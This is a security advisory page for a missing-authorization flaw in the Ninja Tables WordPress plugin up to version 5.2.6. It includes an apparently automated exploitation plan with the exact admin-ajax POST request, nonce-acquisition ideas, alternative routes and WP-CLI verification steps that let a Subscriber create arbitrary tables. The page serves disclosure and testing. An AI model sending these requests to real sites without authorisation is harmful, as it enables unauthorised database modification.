Ninja Tables <= 5.2.6 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Table Creation
Description
The Ninja Tables – Easy Data Table Builder plugin for WordPress is vulnerable to unauthorized database table creation due to missing authorization checks on the `createFluentCartTable` function in all versions up to, and including, 5.2.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary Ninja Tables in the database which can lead to database pollution and resource exhaustion.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.2.7
Source Code
WordPress.org SVN## Vulnerability Summary The **Ninja Tables** plugin (versions up to 5.2.6) is vulnerable to unauthorized table creation. The vulnerability exists in the `createFluentCartTable` function within the `NinjaTables\App\Modules\FluentCart\Handlers\FluentCartHandler` class. Unlike other sensitive funct…
Show full research plan
Vulnerability Summary
The Ninja Tables plugin (versions up to 5.2.6) is vulnerable to unauthorized table creation. The vulnerability exists in the createFluentCartTable function within the NinjaTables\App\Modules\FluentCart\Handlers\FluentCartHandler class.
Unlike other sensitive functions in the same class (like getTableData or saveQuerySettings), createFluentCartTable lacks any capability checks (e.g., current_user_can()) or security nonces. Since this function is registered to an AJAX action accessible to any authenticated user (including those with the Subscriber role), an attacker can programmatically trigger the creation of an arbitrary number of "Ninja Tables" (which are custom post types of ninja-table). This can lead to database pollution, metadata manipulation, and resource exhaustion.
Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ninja_tables_admin_ajax(The standard dispatcher for Ninja Tables AJAX requests). - Route Parameter:
create-fluent-cart-table(Routes to the vulnerable method). - HTTP Method:
POST - Required Parameter:
post_title(The name of the new table). - Authentication: Authenticated, Subscriber role or higher.
- Vulnerable Sink:
wp_insert_post()called via$this->saveTable().
Code Flow
- Entry Point: An authenticated user sends a
POSTrequest toadmin-ajax.phpwith the actionninja_tables_admin_ajax. - Dispatching: The plugin's AJAX handler identifies the
routeparameter ascreate-fluent-cart-table. - Vulnerable Function Call: The dispatcher calls
NinjaTables\App\Modules\FluentCart\Handlers\FluentCartHandler::createFluentCartTable(). - Input Processing: The function retrieves all inputs via
App::getInstance('request')->all()(line 54). - Lack of Authorization: The function proceeds directly to validation of the
post_titlewithout callingcurrent_user_can()or verifying a nonce. - Persistence:
- It calls
$this->saveTable()(line 69). saveTable()(line 128) creates a new post with'post_type' => 'ninja-table'and'post_status' => 'publish'usingwp_insert_post().
- It calls
- Meta Manipulation: The function then updates multiple metadata keys for the new table (lines 71-92), such as
_ninja_tables_data_providerset towp_fct. - Response: The server returns a
200 OKJSON response containing the newtable_id.
Nonce Acquisition Strategy
Based on the source code of createFluentCartTable, no nonce verification is performed within the function. However, the plugin's global AJAX dispatcher might expect a nonce.
In Ninja Tables, nonces are typically localized in the WordPress admin dashboard. Even though the vulnerability allows Subscriber access, Subscribers cannot normally access the Ninja Tables dashboard.
Steps to attempt nonce-less exploitation first:
- Attempt the request without a nonce. If the framework does not enforce it globally for this specific route, it will succeed.
If a nonce is required:
- Check if the Subscriber can access the
admin-ajax.php?action=rest-nonceto get a REST nonce (though likely not applicable here). - If the plugin enqueues scripts for Subscribers on the frontend (e.g., via a shortcode), the nonce might be found there.
- Navigate to the dashboard as an admin, find the script localization for
ninja_tables_admin_ajax, and check if the nonce is static or user-bound. If it's user-bound (standard for WP), a Subscriber must find a way to generate their own.
Likely Nonce Variable (if enforced): window.ninja_table_admin_object?.nonce
Exploitation Strategy
1. Pre-requisites
- A Subscriber user account credentials.
2. The Exploit Request
The agent will send a POST request to create a table.
URL: http://<target>/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Body:
action=ninja_tables_admin_ajax&route=create-fluent-cart-table&post_title=Exploit_Table_DB_Pollution&query_selections[product-categories][]=1&query_conditions[order_by]=post_title
3. Payload Parameters
action:ninja_tables_admin_ajax(The AJAX handler).route:create-fluent-cart-table(The route mapping to the vulnerable handler).post_title: Any string (e.g.,Vulnerable_Table_Creation).query_selections: (Optional) Array used to populate metadata.query_conditions: (Optional) Array used to populate metadata.
Test Data Setup
- Create Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Verify Plugin State:
Ensureninja-tablesis active and version is <= 5.2.6.
Expected Results
- HTTP Response:
200 OK. - Body:
{"success":true,"data":{"table_id":<NEW_ID>,"message":"Table created successfully."}}. - Database Change: A new entry in
wp_postswithpost_type = 'ninja-table'and titleExploit_Table_DB_Pollution.
Verification Steps
After performing the HTTP request, verify the table was created using WP-CLI:
Check for the new table post:
wp post list --post_type=ninja-table --field=post_titleSuccessful result: The output should contain "Exploit_Table_DB_Pollution".
Verify the metadata was set (optional):
wp post meta list <NEW_ID>Successful result: Look for
_ninja_tables_data_providerset towp_fct.
Alternative Approaches
If route=create-fluent-cart-table fails, the plugin might use a different routing convention for the FluentCartHandler.
- Try
route=fluent-cart/create-table. - Try
route=create_fluent_cart_table(underscore instead of hyphen). - Check if
FluentCartHandleris registered as a standalone AJAX action:action=ninja_tables_fct_create_table. (Checkgrep -r "wp_ajax" .in the full plugin source if available).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.